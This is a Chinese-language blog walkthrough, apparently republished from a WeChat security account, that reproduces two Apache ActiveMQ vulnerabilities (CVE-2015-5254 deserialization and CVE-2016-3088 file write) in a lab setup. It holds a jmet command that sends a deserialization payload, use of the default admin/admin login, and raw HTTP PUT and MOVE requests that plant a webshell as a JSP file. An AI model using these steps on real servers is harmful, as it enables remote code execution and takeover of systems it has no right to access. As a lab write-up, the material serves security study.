复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

admin 2024年2月7日23:49:50评论14 views字数 2607阅读8分41秒阅读模式
Apache ActiveMQ是Apache软件基金会的一个开源项目,是一个基于消息的通信中间件。ActiveMQ是JMS的一个具体实现,JMS(Java Message Service)是一个基于消息的中间件服务,它是java的一个接口规范,而不是一个具体的软件或者库。它支持两种消息传送模型,点对点模型(Point to Point Model)和发布/订阅模型(Publisher/Subscriber Model)。
复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

漏洞描述

CVE-2015-5254 漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。影响范围:ActiveMQ 5.13.0之前5.x版本。
CVE-2016-3088 漏洞是因为ActiveMQ中的FileServer服务允许用户通过 HTTP PUT 方法上传文件到指定目录,同时后台处理 MOVE 的关键代码没有对目的路径做任何限制或者过滤。影响范围:Apache ActiveMQ 5.x ~ 5.14.0版本

环境准备

系统环境:linux 虚拟机 centos 64位(不再赘述搭建过程)

应用环境:jdk 7、ActiveMQ 5.11.0(主讲)

工具环境:burpsuite、cmd、dnslog、jmet

后面我们会提供官网下载地址,如果大家觉得官网下载太慢,可以使用我们的打包好的环境:https://pan.baidu.com/s/1o-EPKYNbP9BgoPj6_0JOeQ

提取码:vvoz

jdk 7 环境在 linux 中的搭建:

官网下载:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#jdk-7u80-oth-JPR

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

[root@localhost usr]# tar xf jdk7u79linuxx64.tar.gz[root@localhost usr]# mv jdk1.7.0_79/ jdk7[root@localhost usr]# vi /etc/profile//最后一行增加如下代码,JAVA_HOME为之前jdk解压目录export JAVA_HOME=/usr/jdk7export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=$PATH:$JAVA_HOME/bin[root@localhost usr]# source /etc/profile[root@localhost usr]# java -versionjava version "1.7.0_79"Java(TM) SE Runtime Environment (build 1.7.0_79-b15)Java HotSpot(TM) 64-Bit Server VM (build 24.79-b02, mixed mode)

ActiveMQ 的搭建:

官网下载:http://activemq.apache.org/download-archives

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

[root@localhost usr]# tar xf apache-activemq-5.11.0-bin.tar.gz [root@localhost usr]# mv apache-activemq-5.11.0 activemq[root@localhost ~]#  /usr/activemq/bin/activemq start//8161为ActiveMQ的默认web管理端口

漏洞复现

ActiveMQ反序列化漏洞(CVE-2015-5254):

首先下载jmet(环境包中包含),jmet下载地址:https://github.com/matthiaskaiser/jmet/releases

在jmet-0.1.0-all.jar同级目录下创建“external”文件夹防止报错,然后使用jmet构造event事件

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.0.119 61616这里的payload替换为执行的命令

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

访问:

http://192.168.0.119:8161/admin/browse.jsp?JMSDestination=even

默认账密为:admin/admin

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

登录后查看消息

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

这时候去dnslog平台查看是否执行命令成功

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

至此ActiveMQ反序列化漏洞(CVE-2015-5254)复现成功。

任意文件写入漏洞(CVE-2016-3088):

首先我们先上传一个TXT格式的webshell

PUT /fileserver/shell.txt HTTP/1.1Host: 192.168.0.119:8161(注意修改地址)Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (IB test)Connection: closeContent-Length: 120976webshell...(这里替换为自己的webshell)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

验证上传     http://192.168.0.119:8161/fileserver/shell.txt

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

信息泄露     http://192.168.0.119:8161/admin/test/systemProperties.jsp

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

将之前上传的webshell转移到可以执行的api目录

MOVE /fileserver/shell.txt HTTP/1.1Destination: file:///usr/activemq/webapps/api/shell.jspHost: 192.168.0.119:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (test)Connection: closeContent-Length: 0

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

至此任意文件写入漏洞(CVE-2016-3088)复现成功。

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

点个赞

复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

再走吧

原文始发于微信公众号(安全小圈圈):复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日23:49:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   复现:Apache ActiveMQ反序列化漏洞(CVE-2015-5254)和任意文件写入漏洞(CVE-2016-3088)http://cn-sec.com/archives/2462195.html

发表评论

匿名网友 填写信息